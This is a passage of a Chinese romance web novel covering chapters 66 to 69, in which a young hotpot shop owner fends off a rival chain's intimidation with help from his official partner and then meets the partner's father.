冯昭走后，他在店里环顾一圈，然后老实在前台站好，看着那台收银用的电脑，主动摸索起来。 乔施珩忙得脚不沾地，等到下午客人都走完了，他才有了点空。 郑祉桓站在前台看他，他洗完手就走了过去。 “会用吗？” “会。” 乔施珩自从开店后对星期几的记忆都有些模糊了，好像每天都得工作，于是他想了一下才发现今天是周六。 “你说，我要不要再招一个人呢？” 郑祉桓赞同：“店里饭点人不少，可以考虑。” “可是，好像又有些麻烦。” “什么麻烦？” 第66章 “后续有问题，我来处理…… 乔施珩正要和他说，梅姐提着垃圾桶走了过来，看起来是要出门扔垃圾，看向郑祉桓的眼神就是那种认识但不知道叫什么的感觉，而人们寒暄，通常最常说的一句就是：“吃饭了没有？” 只是寒暄，梅姐停都没停就出去了。倒是乔施珩才想起来：“你吃饭了吗？” “没有。” 乔施珩从他面前的桌面上抽出一张菜单，“你想吃什么锅底的串串？” 郑祉桓盯着菜单看，目光却游离到了乔施珩的手上，他做饭的时候虽然戴了手套，但不知道什么时候还是被烫了一下，手面有些泛红。乔施珩没有注意到他在看自己的手，以为他是不知道选择哪一种，就跟他介绍：“酸辣锅是我自己捣鼓出来的，番茄锅和菌菇锅……” “酸辣锅。” 乔施珩放下菜单：“你等等。” 他去了后厨，苗楠正和小玉在洗盘子。 两人本来聊得火热，看他来了立刻噤声。但是没多久，小玉就问他：“小乔老板，那人到底是你亲哥吗？” “不是。”乔施珩没打算透露他们的关系，所以只能含糊过去：“是我表哥。” “叫什么啊？” “姓郑。”乔施珩没有透露他的姓名，只说了一个姓。 乔施珩做了个四宫格大锅，“你们等下也过来一起吃。” 店员都没有吃饭，平常这个时候他们如果不是吃串串锅就是叫外卖或者去别家买其他东西吃。今天正好要请郑先生吃饭，干脆就一起吃了。 他把锅底端上桌，拿了好多肉和菜。 几个人坐到一起，小玉一点儿不见外，拿了点饮料过来，招呼郑祉桓，“郑哥，你别客气啊，周末有空就来给我们做收银员！” 郑祉桓一向话都少，所以他也没有什么表示。 反倒是梅姐很热心：“小郑啊，在哪里工作呢？” “申市。”乔施珩替他回答。 “那不近啊，怎么周末到这边来？” 这回乔施珩没回答，反倒是他自己回答：“来看看他。” 这个他，不用说在场的几个人也明白。 但是鉴于他说得太过自然，倒是也没听出其他什么意味来，就连雷达轰鸣的小玉一时间也不能确定她到底该不该多想。 乔施珩急忙找了别的话题把这个话题带过去了。 吃完饭，趁着没人上门，他又把店里里外外都收拾了一遍，却一晃神，没看到郑先生了。 但是他知道他应该没走。 果然，四点多的时候，他回来了。 拎回来很多水果。 “怎么买这么多水果啊？” “健康。” 乔施珩让小玉把水果拿去分了吃，他自己洗了盘水果，找了靠窗的位置坐下，不多久，郑祉桓就在他对面坐下了，他递给他一个包装精致的盒子外加一盒烫伤膏。 乔施珩接过来，那盒子上的英文他不认识，翻到背面才发现另一盒是护手霜。 比起惊讶感动什么的，他更多的却是觉得好笑，“买这个干嘛？” 郑祉桓显然不是会解释的那种人，他只是简要地说：“你应该可以用到。” 乔施珩剥了个砂糖橘给他。 “我想跟你说的麻烦事，就是隔壁那家小君串串香。他们现在装修已经很吵了，之前还把水泥袋放在我们门口。有两个人上门，想要我关门给他们挪地方，好傲慢，所以我都不知道我这个店能干多久，导致我现在想招人也不敢招人。”乔施珩问他：“你怎么看呢？小君香是全国有名的连锁店，我这个就是自己开的，应该竞争不过吧。” 郑祉桓略作思考，很肯定地告诉他：“继续开下去，没什么问题。” 不知道为什么，别人对他说这个话，他听着虽然觉得被鼓励，但心仍然是提起来的，而郑先生告诉他没什么问题，他就能感受到悬起来的心缓慢落下。 “那我可相信了。” “后续有问题，我来处理。”郑祉桓主动建议：“再招个男生吧。” “为什么？”乔施珩倒是没有想过性别问题。 郑祉桓似乎没想到他会问这么显而易见的问题，从他的角度来看，店里只有他一个“柔弱”的男士，遇到什么棘手的问题，不太好应付。但他一向不擅长解释过多，“力气大。” 乔施珩没想那么多，但他认为郑先生说得也有道理，招个男生来也可以和他一起搬一些重货。 他把手里的菠萝蜜递给他：“好吧，那我明天就贴招工启事。” 后厨小玉叫他：“小乔老板，楠楠把香蕉给炸了，你来尝尝看。” 在乔施珩离开的这会儿工夫，郑祉桓拿出手机，翻到通讯录，拨通了一个号码。 电话那头的人很惊奇：“老郑，什么风把你给吹来了？” 郑祉桓不像他那么生动，甚至有些冷硬，“我在天市，一起吃个饭。” “你来天市你不早说，我红毯香槟迎接你去啊。” “红毯香槟，违规。” “你看你，还是这么正经。行，你来者是客，我做东，地址发你微信啊。” 郑祉桓甚至最后还补了一句：“按规定办。” “放心吧，我找那弄堂里的小饭馆，你不嫌弃就行。” 挂掉电话，乔施珩捏着一根炸得酥脆的香蕉过来，献宝一样递到他面前：“你尝尝，你买的香蕉，楠楠炸了，很好吃。” 郑祉桓接下来，尝了一口，确实不错。 “晚上约了以前的同事吃饭。”他想了想，发现乔施珩也认识对方后，就报了他的姓名，“以前宁冬SZF办公T主任，何长生，现在在天市这边。” 乔施珩对他工作上的同事知道得不少，但有印象的不多，他想了半天也没想起来。 郑祉桓提醒他：“差点给你跪下的那个。” 乔施珩这才有了一些印象，“就是那个开会要穿白衬衫他忘记了，拜托我去帮他买一套的那个人吗？” 他想起来了，“他酒量很好的，你别和他喝酒。” “不喝酒。” 晚上客人陆陆续续又多了起来，乔施珩也就没顾上其他事情了。 等到忙完，客人走得差不多了，已经将近十点。 小玉到门口挂上休息的牌子，却有几个人高声喧哗着过来了，他们推开门，捏着那休息的牌子，很不理解：“这才几点就关门了？” “抱歉啊，我们店规定就是十点关门。”这个规定是乔施珩定下的，因为忙了一天了，再忙下去身体会吃不消，这个点关门已经算很晚了，有时候客人要到十点多才走，他们收拾完成已经快半夜了，早上还要在十点钟开门。 “这条街，就你们家关门最早。” 这几个人虽然看着不像好人，但到底也没有纠缠下去，而是又勾肩搭背，往别家去了。 乔施珩把店里都收拾完成，小玉她们下班后，他就留了两盏灯，自己坐到前台，编辑招工启事的单子。 编辑完成后，他刷了一会儿手机，有些昏昏欲睡。 迷迷糊糊间，他听到台上有声音，抬头一看，竟然是一杯玉米汁。 郑祉桓站在前台外侧看着他。 乔施珩拿过玉米汁，毫不客气地喝起来，“你先洗漱。” 郑祉桓挤进那狭小的洗漱间，发现原本的一次性牙刷换成了正常的牙刷，牙杯也不再是纸杯，而是特意准备的不锈钢杯子。 这个时候乔施珩在他身后开口：“因为你和冯昭常来，我就买了一些备用。” 郑祉桓转身，吓得乔施珩捏着玉米汁往后退了两步，结果他只是沉着脸关上了门。 等乔施珩收拾好回到房间，郑先生已经睡下了。 他上床后，留了盏床头灯，本来还在玩手机，但没多久，他就趴在床沿盯着郑先生发起了呆。这个时候好像想了很多事情，但很混乱，还没理清头绪，垫子上的郑先生忽然翻了个身，面对他这边，开了口，却没睁开眼睛。 “还不睡。” 乔施珩问他：“你没睡着吗？” 郑祉桓应了一声。 乔施珩叹气，“还是要早点睡着，隔壁装修，每天很早就会嗡嗡嗡，我都说过他们好几次了，也没有用。”他从床头柜的抽屉里翻出耳塞递给他：“要耳塞吗？不然明天很早就会醒。” 郑祉桓闭着眼去接，一把握住了他的手腕。 乔施珩心猛地往上一提，手一松，耳塞盒掉了下去。 但下一刻，郑祉桓的手就松开了，他捡了耳塞盒却放到了一边，看起来是不用。 屋内又安静下来。 乔施珩趴在床沿，两只脚一直晃荡，他知道，他们两个走到了今天，都在做出改变。 于是他伸手关掉灯。 “晚安。” 清早，乔施珩却没听到隔壁的装修声，更可怕的是，他根本也没听到闹铃声，直接睡过了头。 等他洗漱好，急急忙忙出去，郑先生已经帮他把货物都提了进来，而且他昨天编辑好的招工启事，也被打印出来，贴在了门上。 郑先生穿着休闲装，做这些活的背影，让乔施珩觉得很割裂。 这么多年，他的手只拿过笔，签过那么多重要的文件，怎么也没想过有一天，他会来做这些粗活和杂活。 他忘记换鞋，拖着毛绒拖鞋朝门外走去。 “为什么没听到隔壁装修声？今天没装修吗？” 他推门出去看了看，那些工人正坐在一起吃早餐，一人一杯热气腾腾的豆浆。等他转头回来，一模一样的豆浆就在前台桌上放着。 “你请他们吃早饭啦？” 郑祉桓洗了手，过来把早餐提到最近的一张桌子上放着，默认了。 “反正我都习惯了，不过请一顿也可以，祈祷他们以后每天早上都不要吵。” 郑祉桓要回申市上班，他中午就要离开，正是饭点，乔施珩顾不上他，等他忙完，郑祉桓已经离开了。 下午他趴在桌上补了个觉，醒来准备迎接晚上的客人时，就发现门口有几个眼熟的小青年一直在晃荡，他们个个都剪着奇奇怪怪的发型，头发也染得五颜六色，让人一看就是不良青年。 直到有客人想进门，他们上前推搡时，乔施珩才意识到这群人是冲着店来的。 “我看着这几个人这么眼熟呢？”小玉想起来：“他们就是之前晚上路过的那几个人，只是发型变了。” 梅姐也凑过来：“他们是想干什么呀？把人都赶走了，什么意思？” 乔施珩推开门，走了出去。 第67章 “你是阿拉丁神灯吗？”…… “你们干什么？” “没干什么啊，路过还不让路过了？”小青年痞笑：“我们几个人站在街边碍着你店铺事儿吗？” “你们这样影响我们店的生意了。” “开玩笑，这路是你们家的吗？” 乔施珩意识到他和这些人讲理是讲不通的。 紧接着，他们在网络平台的店铺遭遇了大规模的差评。 “太过分了吧！我们店才上平台没多久，怎么可能有这么多人来消费？”小玉滑动着手机，问乔施珩：“小乔老板，怎么办？” 苗楠感叹：“这不会就是资本的力量吧？” 这些小青年在店门口的街道上溜达了一个中午，不止乔施珩这一家店铺受到影响，隔壁几家也有出来说他们，甚至其中有一家还报J了，但在Jc来之前他们就跑了，等JC走之后，他们又会溜达回来。 乔施珩握着手机，不知道该不该给郑先生打电话，他才走就发生了这种事情，不知道他会不会有时间处理。而且乔施珩也有顾虑，他不知道他远在申市，好不好插手这边的事情。 正在犹豫时，之前那两个傲慢的人又上门了。 “乔老板，现在还有考虑的空间，我们仍然愿意维持原有价格请你转让。” 乔施珩把手机调到录音状态，他问：“门口那些人是你们小君串串香找来的吗？” “什么人？” 乔施珩想，他们应该不会承认的，果然他们两个人的话题只围绕在店铺本身。 “我们也关注到你的店铺在网络上的评价并不太好，我们这么做也是在帮你。” “差评也是你们小君串串香找人刷得吗？” “乔老板，你不能因为我们想要你转让店铺，就把恶意都加到我们身上吧？我想有必要提醒你注意言辞，否则我们会告你诽谤。” 乔施珩再好的脾气也难忍，“我不会转让的。” “现在已经没有客人上门了，如果后续消防、S监查出不合规的地方，你们还是要面临关门的窘境。” “你这是威胁吗？” “乔老板，我只是实事求是地为你分析你目前可能遇到的困境，我再次提醒你，注意言辞。” “和你们没什么好谈，请你们离开。” 这两人走后，小玉很担忧：“我们是合规经营，相关证书也都有，他们不会真的去T诉我们吧？” “来检查也不怕，我们又没什么违规的地方。”乔施珩安抚她们：“没事的。” “都这样了还没事呀？”梅姐思索半天，“我有个亲戚在派C所工作，我问问他看看，这种情况应该怎么处理。” 梅姐去一边打了半天电话，摇着头回来，“他都快退休了，也不是这块属地，他说管不了。” 乔施珩想打那个熟悉的电话，但是因为之前的事情他总觉得给郑先生先打这个电话会有些尴尬。他人在的时候，自己还能很放松，他离开后，打电话就会让他有些不自在，好像是在示弱，虽然他本来就很弱。 在人生地不熟的地方开店，还被人欺负。 就在他犹豫之时，门外的街道上忽然闪烁起了J车的灯光，一辆J车停在了他们店门口的街道边。 那几个小青年又一哄而散。 J车上下来两个JC，他们在乔施珩的店外看了看他的招牌，又看了看手机，似乎是核对什么。接着，他们绕着隔壁已经装修差不多的小君香转了转，才进入乔施珩的店里。 乔施珩和小玉她们站在门口，像是欢迎他们进来。 “中午是你们报J的吗？” 乔施珩摇头：“是旁边旁边那个米粉店。”他抓紧机会对他们说：“那几个小青年堵在店门口，客人都不敢进来了，有办法解决吗？” “抓了也不顶什么事，不过没事，我们会加强这片区域管理。” 简单几句话之后，他们就离开了店里。 但等了很久，他们的车都没走。 终于，在天黑透时，乔施珩的店里终于迎来几个客人。 晚上他躺在床上，看着自己店铺下面数不清的差评，翻来覆去睡不着。 这时有人给他打来视频电话，他定睛一看，竟然是郑先生！ 这真的很稀奇。 接通后，他这边只有一盏昏暗的床头灯，但郑先生那边却是坐在书桌前。 他戴着眼镜，应该是面对着电脑，还在工作。 但乔施珩接通后，他的目光就落在了手机上，他似乎不知道角度这些东西，低着头，垂着目光，堪称是死亡角度，但他五官标致，轮廓清晰，在暖色调的灯光下，会将他的锐利柔和几分。 “怎么还在工作？”乔施珩扫了眼时间，“都十二点了。” “新接手一些事情，要了解的东西比较多。”他抬眼，敲了下键盘，之后低下头看向镜头中的乔施珩，“今天有人找麻烦了？” “你怎么知道？” “拜托何长生关照一下，所以你不用怕。” 郑祉桓似乎对发生的事情了解得比较清楚，“小君串串香背后的潮南食记一直在谋求上市，若是小君串串香爆出使用不正当手段打压本地小商户，会严重影响品牌声誉和上市估值。”他又话锋一转：“当然，对他们背后的投资机构进行善意提醒合规合法，由投资机构向其总部施压，这件事就不会大事化小小事化了。” 乔施珩听着这些字眼，觉得好遥远。 “没想到我会遇到这种事。”他往被子里埋了埋，露出两只眼睛盯着手机，“但还是谢谢你。” 郑祉桓显然不懂怎么抓这种机会，他只会古板又疏离地回他：“没事，我说过，后续有事情我会处理。” 乔施珩想半天，不确定他这么古板的人知不知道APP的作用，还是选择向他告状，“可是他们还在网上把我们店铺打了好多差评。” “你睡醒，差评就会消失。” 乔施珩是真的相信的。 “你是阿拉丁神灯吗？” 难得，郑祉桓回了他一个很短促的笑容。可是他还是不会说话，也不会撩人，更不会说什么，只要你愿意，我就是之类的话语。 他只会很正经，又带着他似乎刻进骨子里的那种淡漠与疏离，告诉他：“解决问题的途径有很多种，不是有那么一句话，办法总比困难多。” 乔施珩心想，那是对你，又不是对我这种普通人。 “你什么时候睡觉呢？” 郑祉桓往后一仰，似乎很疲惫，他摘下眼镜，捏了捏眉心，“业务范围扩大了不少，要学习的东西就会多，否则很多事情处理起来会掣肘。” 乔施珩不知道怎么想起来他刚回云海省的那段时间，也是这样，但那会儿他们还住在一起，乔施珩就会给他温牛奶。但是那短暂的时间过后，他们就分开住了，而他身边的人也多了起来。 “你现在还会受到别人的压制吗？” 郑祉桓似乎没想到他会这么问，他重新戴上眼镜，靠近屏幕。 “压制是无形的。但现在不会因为顾忌一些人和事选择做一些我不想做的事情了。” 乔施珩笑起来，眼睛弯弯：“是因为你掀桌了吗？” 郑祉桓的眉眼也舒缓下来，“谁说不是呢？” 挂断视频后，乔施珩却没有了困意，不知道是不是天气在变暖，被子变厚了，他觉得好热，翻来覆去好久，才睡着。 早上被闹钟叫醒后，他迷瞪了一会儿，突然想起来差评的事情，急忙拿起手机去看，果然，那些差评竟然真的没有了，恢复到了被差评之前的样子。 他顶着乱蓬蓬的头发去洗漱，不知道为什么，觉得自己腰板都直了不少。 将送来的货物提到后厨准备清洗的时候，门外来了个应聘的年轻人。 他外地口音比较重，显然不是天市本地人，乔施珩听着他的口音，像是西北哪个城市的人，一问，果然是。 “十九岁，怎么没上学？”乔施珩看着他的身份证问。 “没考上，就出来打工了。之前在胖哥煲仔饭，过完年来了以后那边店关门了。” “那你有住的地方吗？” “有，和几个老乡在对面小区租了个房子。” 乔施珩点点头，跟他谈薪资的时候本来还有些顾虑，没想到他却说：“比胖哥煲仔饭高呢。” 就这样，小玉她们到店时，看到一个小帅哥在店里还很诧异，再知道问题都解决了，就更诧异了。 “菩萨显灵了吗？”她急忙拿出手机，一看果然差评都删了。 乔施珩没说什么，只把新来的小伙子介绍给了她们。 “王纯，才十九岁，你们关照一下。” “年轻好啊，年轻人力气大。”梅姐笑呵呵：“今天就做吗？还是明天过来？” “今天就做，干一天多一天工钱。”王纯比较朴实，也笑呵呵的。 十点半左右，那辆j车又开了过来，停在了老位置。 小玉啧啧称叹：“这不成咱们护法了？” 在一个阴雨连绵的日子，那傲慢的两个人又上门了，与之前不同，他们这回提着两箱水果。 这样的天气又是午后，店里没有客人，他们把东西放下，不再傲慢，而是很客气地说：“抱歉啊乔老板，之前的事情是我们处理不当，向您赔罪。” 乔施珩也不是那种不依不饶的人，“没关系，只是我们小商户本来做生意就很困难了，你们大品牌选址的时候还是要仔细考量一下，不要再跑到别人旁边让别人让位，现在市场也不景气。” “是，您说得对，我们接到消息，对这个店铺的规划可能还会调整，总之，对您造成困扰，我们再次向您道歉。” 这两人走了以后，小玉伸头朝门口去看，“奇了怪了，这么客气。”她问乔施珩：“小乔老板，你找人啦？” 乔施珩歪头，不想说又不想否认，“大概吧。” 他给郑祉桓发消息。 【阿拉丁神灯，我的愿望达成了，我来还愿。（拜托.jpg）】 等了半天，才等到他回了个干巴巴的Ok手势。 乔施珩不自觉鼓起腮帮。 【他们上门道歉了，我原谅他们了。】 又等了半天，他却只回了个好字。 算了，乔施珩失去了聊天的欲望，反正他也不会聊。 但接着他就收到了一条他的信息。 【燕京要召开会议，我需要过去，大概去半个月。】 【（好.JPG）】 事情平息后，总是停在门口的J车也走了，只是隔三岔五会有执F人员开着车从街上过。 乔施珩不知道天市是不是也有倒春寒一说，都已经三月了，还大降温一波，整日阴雨绵绵，店里的生意远不如晴天的时候。 就在他为生意发愁的时候，却有两个自称是天市本地美食推荐官方账号的负责人找到了他。 第68章 “你原谅他了吗？” “天市美食推荐，我们是官方账号，文L下面的，你看，有认证的。”那戴眼镜的男士把自己的工作平台展示给他看，“这是我们D钉工作组，你看一下，这是我，绝对货真价实。” 乔施珩看完以后倒是没有怀疑他们的身份，只是他不明白：“我们店才开不久，网络上也没有几条评价，你们是怎么发现的呢？” “是这样的，我们……”他似乎绞尽脑汁，才编出一个理由：“我们有个工作人员前段时间偶然过来吃饭，吃完以后回去就夸得不得了，我们就想着过来采访一下，推荐一下。” 乔施珩看他费尽心思地编造理由，脑海里冒出郑先生之前和他说拜托过何长生关照的话来，他拿出手机百度了一下何长生，发现他虽然不如郑先生的职位高，但是现在所负责的事情也很多，就包括这方面，怪不得他们会找上门来。 “可是我们确实是新店，才刚刚做，也没有达到多么美味需要推荐的地步，这样不是占用了其他达到推荐要求店铺的资源了吗？”乔施珩拒绝，“而且我这样的新店出现在你们的推荐中，会引来猜测吧？这样对你们也不好。” 这个男士显然没想到他会拒绝，拒绝的理由竟然还有模有样。 倒是和他一起来的女生站出来解释：“我们的账号虽然之前一直都推荐的是老字号饭店，但现在也逐渐开辟了新店的板块，而且你也不是第一个出现的新店，这方面的顾虑你大可不必有，我们不会砸了自己的招牌，也不会把自己置于风口浪尖上。” “我只是怕会给你们带来不好的影响，对我自己倒是没关系。” “我们向你保证，不会有事情，而且我们账号最近流量也不错。”女生看着他不禁露出笑容，“再说了，如果店老板出镜的话，我想可能流量会更不错。” 乔施珩没敢立刻答应下来，他只说考虑好给他们回复。 他们大概还是头一回遇到这么谨慎的人，但是也没不高兴，反而是留下来品尝一下。 “我们店招牌锅底是酸辣锅，你们可以吃辣吗？” “可以，但是选择两个锅底吧，再来一个番茄锅。” 显然乔施珩做这个决定，小玉也不理解，“这么好的事情，为什么不赶紧答应，万一他们反悔了呢？” 乔施珩知道郑先生在开会，但是他不知道会议究竟什么时候结束，他还是想问问他的意思。 于是就抽空给他发了一条信息，简述了事情的经过。 没多久他就收到了肯定的回复。 于是那两个人吃完准备走的时候，他答应了他们。 “这么快就考虑好了啊？”女生夸他：“老板你是长得帅，菜又好吃啊，这是真的好吃，我相信我们会合作愉快的。” “需要多少钱？”乔施珩问。 “报价的话我们这边后续有个合同，不过老板你放心，我们收的都是广告公司的制作费，没有其他费用的。” “好，谢谢你们。” 送走他们，正好冯昭迎面过来。 “他们谁啊？聊得这么欢快。” “美食推荐类的官方平台负责人，想推广我们店。” 冯昭进了门，倒是毫不意外，“郑叔叔推荐来的？” 乔施珩确实不知道是不是他推荐的，但应该是跟他有关系。 “你怎么来了？吃饭了吗？” “培训结束我就过来了。”他话音才落，门外外卖人员上门了。 “请大家喝奶茶。”冯昭接下奶茶，看到店里来了个小男生，问他：“新招的？” “对。” “还好多点了一杯。” 冯昭叼着吸管跟在他后面，“能不能给我煮点串配大米饭。” “你去坐着，一会儿就给你端来。” 苗楠问他：“小乔老板，他经常来，是不是喜欢你啊？” 小玉在苗楠旁边尬笑，这话她刚刚才跟苗楠说过，苗楠转头就问了正主。 乔施珩并不觉得尴尬，“他才大学毕业没多久，我多大，没有的事情，只是我们之前在申市认识，又恰好都在天市。” 其实他这个话并没有什么问题，但是苗楠却精准问他：“你为什么没觉得男生喜欢男生是个问题？” 这下乔施珩确实尴尬了，但他还是说：“现在的社会，都比较开放了。” 小玉急忙把苗楠拖出去，“走走走，喝奶茶去。” 苗楠还是解释：“不好意思啊小乔老板，我没有别的意思，我就是问问。” 乔施珩做饭的过程中，脑海里闪过了不少跟冯昭在一起的画面，他看冯昭像看个小孩，甚至连对盛逸则那种很明显的防范意识都没有，而冯昭一直以来也没有说什么不妥的话，做什么不妥的事情。只有上一次，他靠在橱柜上看自己的眼神，让他明确感知到了不寻常。 可冯昭一直没有明说，这就跟他之前遇到的一样，对方没有明说，他主动拒绝是否不妥？ 但当饭端到冯昭面前，他还是在他对面坐下了。 冯昭确实饿了，狼吞虎咽。 乔施珩看了他半天，冷不丁问了他一句：“你是不是喜欢我？” 冯昭差点呛死，他低头咳嗽，却久久都没能抬起头来。 乔施珩很有耐心，就喝着奶茶看着他。 好久，冯昭才缓过来，“我知道，有郑叔叔在，我又没有机会。” “就算他有其他乱七八糟的人，就算他天天一张死人脸，就算他讲话那么难听……就算你生他气都跑到这里来了，可是除了他，你根本就没有考虑过别人。” “我比我舅舅清醒，我一直就知道我没有机会。我偶尔也会给自己一点奢望，但看到你看郑叔叔的眼神，我就没有了念想。” “我都没有打算说，你还问我，弄得我现在很尴尬。”他把碗递给乔施珩，“罚你再给我盛一碗米饭。” 乔施珩真的跑去盛了一碗米饭给他。 冯昭吃着吃着，问他：“你原谅他了吗？” “他不好，我也不好啊。” “你是恋爱脑吧？”冯昭很无语：“你到底哪里不好了？明明就是他不好。” “人无完人。” “那你们以后，会怎么样？” “不知道，但是我们都在做出改变。我想，我们总应该多一些勇气。” “别的我都不反驳，但是你是真的很好。虽然我一开始是被你的外表吸引，我觉得你很特别，不知道为什么第一次看你，就觉得很好看，这也是我为什么老烦你，但是后来我发现，你不是只有外表，虽然说普罗大众大概都是一个生活模样，但你就是让我觉得很特别。乔施文的那件事情里，你真的很清醒，就是对待所有的事情，你都很清醒。当然，郑叔叔这件事情除外。” “也可以理解，爱情本来就会降低人的智商。” 冯昭低头想了很多，“我本来，懒得接触太普通的人，我也不是你看到的这样收敛。但是面对你的时候，我就想不到那么多，我也知道你看我像看小孩，但有时候我还是会有侥幸心理。人，可能都会存有侥幸心理。” “我舅舅确实不是好人，所以我不希望你跟他走太近。但是不代表郑叔叔就是什么好人，你跟他在一起那么多年，你们两个……”他想说，你们两个也没有什么结果，后续还会有结果吗？ 但他的质疑却被乔施珩那副平静面容所打破。 他忽然就不想质疑了。 人家在一起那么多年，哪里还有需要他质疑的地方。 “我以后，还能来蹭饭吗？” “当然可以。” 乔施珩想到盛逸则，“你舅舅他……结婚了吗？” “没有。”冯昭终于提起劲儿来，“他要结婚那不就是祸害别人家小姑娘吗？所以我拜托我爷爷想尽办法捞他，让他可以不用结婚。他说要感谢我，我还没想好让他怎么感谢我，我得坑他一笔大的。” 他终于扬眉吐气：“我受了他那么多年的管制，现在终于翻身做主人了，以后有他好受的。” 乔施珩觉得好笑：“不管怎么说也是你舅舅，你还是要尊重他的。” “我早就看不惯他玩弄别人感情了，以后他就死了这条心，青灯古佛吧。” 乔施珩当他说玩笑话，没再说什么。 他答应了要推广自己的店之后，那女生独自带着合同过来跑了几趟，后来还带着摄像师过来彩排了两次，终于敲定正式录制的时间。那天早上乔施珩还是老样子，穿着很普通，被小玉拉去对面理发店里好好收拾了一番。 但他没什么很好的衣服，就仍然穿着简单大方的衣服出镜。 因为紧张，介绍自己家锅底和菜品的时候，还是有好几次卡壳，幸好主持人经验丰富，帮他化解尴尬。 视频上线那天，店里几个人围在一起看，镜头里的乔施珩，唇红齿白，头发又很黑很顺，介绍出错的时候害羞脸红会很明显，弹幕和评论区的讨论几乎都在店老板这个人身上。 视频发布后，店里的人明显多了起来，虽不至于是爆火的地步，但比起之前要好不少。还有一些人会要求和乔施珩合影，乔施珩一般都不会拒绝。 店里人多他也更加忙了，郑先生那边也一直连轴转开会，脱不开身，但他会跟乔施珩报备自己在做什么，这是以前没有过的，所以乔施珩也不会在意他有没有来。 语烟乄　天气变暖后，乔施珩觉得店里都明媚起来。 隔壁一直搁置着的小君香，某天忽然撤换了广告牌，换成了著名的一个奶茶品牌。 乔施珩这条街上杂牌奶茶店不少，但知名连锁的却很少，这样的奶茶店开在旁边，他的店估计也会跟着沾光。 至于这个店铺为什么会换成奶茶店，他已经不需要过问了。 这天午后他都收拾好准备眯一会儿的时候，店里进来三个人，乔施珩从前台桌上抬起头，虽然逆光，但他还是心中一颤。 “郑叔。”比起诧异，他此时更多的却是惶恐与不安。 老爷子一如既往，没什么好脸色给他，他让那两个人到门外等他，自己拄着拐杖找了个偏僻的位置坐了下来。 第69章 “我们在一起很多年了。…… 乔施珩端了茶上来，为他倒了一杯。 “别忙了，坐吧。” 乔施珩坐下后，是真的感觉浑身冒冷汗，他不知道这个时候老爷子找到他，是为了什么。又或者，他有没有能力应付老爷子。 “按说，我不该来找你，毕竟你已经跑到了这个地方。”老爷子看着他，话锋一转，“在申市的那件大A中，我是拼了我这把老骨头，才将他安然无恙地保出来。这些年，我知道我亏欠他，所以为他收拾一些烂摊子，我也很乐意。那件事情中，他声称他清白，但是你信吗？” 乔施珩不敢说话。 “两个人一个屋，门一关，发生什么事情谁知道？他这高低也还是个生活作风问题。除去这些，他当初为自保不得不做的一些事情，都对他产生了极大的影响。我豁出去这张老脸，请人优先调C他，前前后后调C了好几遍，换了好几拨人，才将他摘出来。”老爷子说到这里，深深叹了口气，却是欲言又止。 乔施珩不知道郑先生的家庭到底是怎么样，他最多只知道他小时候是放在舅舅舅妈那里养，他也很少和自己提他的家庭，远在西北的那些年，他回家的次数也屈指可数，连带着乔施珩被他拖着，有些时候都不能回家过年。 “他和我并不亲近，甚至甚是疏远。这些年他只靠他自己，没有要求我为他做什么。就算遇到了这天大的麻烦，也是自己努力周旋，想要在绝境里保存自身。但是当他决心破釜沉舟后，他却找到了我。” “如果他没开始做这件事，我肯定不会同意他这么冒险。但他找到我的时候，事情已经做了。他说他不能结婚，他说事情脱离了他的掌控。”老爷子看着他，“虽然他从始至终没提过你，但是我也不是个瞎子傻子，我知道是因为你。” “我最初并不同意你做他的司机，你太年轻了，照顾自己都困难，怎么去照顾他？但他坚持，我就没有再干预。”他无奈，“现在想干预，也晚了。” “这些年，也多亏了有你在他身边。” 乔施珩听得心里发堵，他不知道老爷子是什么态度，只能耐心往下听。 “你辞职以后，我是松了一口气的，但接着的这些事情，我就明白，这口气我松不了。尤其是你跑到了这里，他却还想着过来。” “小乔，你为什么辞职，我大概也能猜到，但他却可能不知道。”老爷子摇头，“他上初中后，被我们接回来，根本没办法一起生活。他妈总是说他不是正常人，但他不正常也是我们做父母的造成的。” 乔施珩看他态度和缓，以为他是接受了。他悬着的心开始往下落。 “可是这条路并不是那么好走。你们现在还年轻，可能无法体会，等到了老来，多半是会后悔。” 从他的话音里，乔施珩是能够感觉到他不太看好他们两个在一起的。其实从家长的角度来看，可能大多数家长，都是不赞同的。但不知道是不是老爷子真的觉得亏欠他太多，即使已经满脸不愿意，也最终没说出不赞同三个字。他大概是自己内心也十分纠结或者说煎熬，就这么坐着，不再说话了。 乔施珩给他添了热茶，不知道应该说些什么。他不是个善于跟别人剖析自己情感经历的人，甚至羞于说爱，他不能不承认自己曾经很自卑，而他也很明白，自己现在在走出自卑，在变勇敢。 “郑叔，我……” 店门在这时被人推开，郑祉桓气息不稳，进门后他环顾了四周一圈，看到他们后就径直走了过来。 “你跟他说什么了？”郑祉桓质问他，“你怎么会想到要来找他？现在是我的问题，和他没有关系。” 老爷子比他淡定很多，他抬眼扫了一下情绪稍微有些激动的郑祉桓，“坐下说。” 郑祉桓拉开椅子，坐了下去，乔施珩只好也跟着他一起坐下。 “你带着情绪见我的这几次，都是为了小乔。”老爷子摇头，“如果不是为了他，你和我这辈子估计也没什么好好说话的时候了。” “别扯那些，我要和谁在一起，是我的事情，不需要你们过问。” “我不是来阻拦你们的，我是要告知你们，这条路并不好走。你们现在还年轻，以后的事情谁说得准？你能说得准吗？”老爷子的威严不自觉就上来了，“你当初离开的时候信誓旦旦说不需要我的帮助，可以靠自己。但没有我的帮助，你到现在都不可能回到沿海省份来，就别提前阵子你不计后果，捅出那天大的篓子来！” “你现在是一颗新星，往上数甚至往后数些年，都不会有人能在这个年纪坐到你现在的这个位置！你确实是努力，任劳任怨，但平步青云是努力就能够实现的吗？比你努力的大有人在！” 乔施珩眼见他们两个说着说着就要吵起来，急忙又给郑祉桓倒了一杯水，顺便偷偷在桌下踢了他一下。 本来想说什么的郑祉桓倒是温和了下来。 老爷子看了看乔施珩，也跟着放缓了语气，“因为一些不可控因素，我和你妈妈确实是对不起你，所以很多事情，我们也都由着你开心。即便你选择这条路和这个人，我们虽然不赞同，但也会尽力支持。” 他最终为此行定调：“人生的不可控因素太多，及时行乐也不错。” “你母亲最近身体不太好，这个周六，你带着小乔回去看看她，顺便参加一下你大伯的生日宴会。” 他走了以后，乔施珩和郑祉桓都松了一口气。 但接着，郑祉桓又显得不安，“抱歉，我没想到他会过来，打扰你了。” “没事。” 郑祉桓问他：“宴会，你愿意去吗？” “我猜想你应该不会想去。”乔施珩了解郑祉桓，他本来就对家里没什么情感。 “但是我愿意带你去。” 乔施珩的心骤然提起，甚至那瞬间他觉得血液直冲头顶，接着，他就开始紧张，“可是我……” 他害怕不被认可。 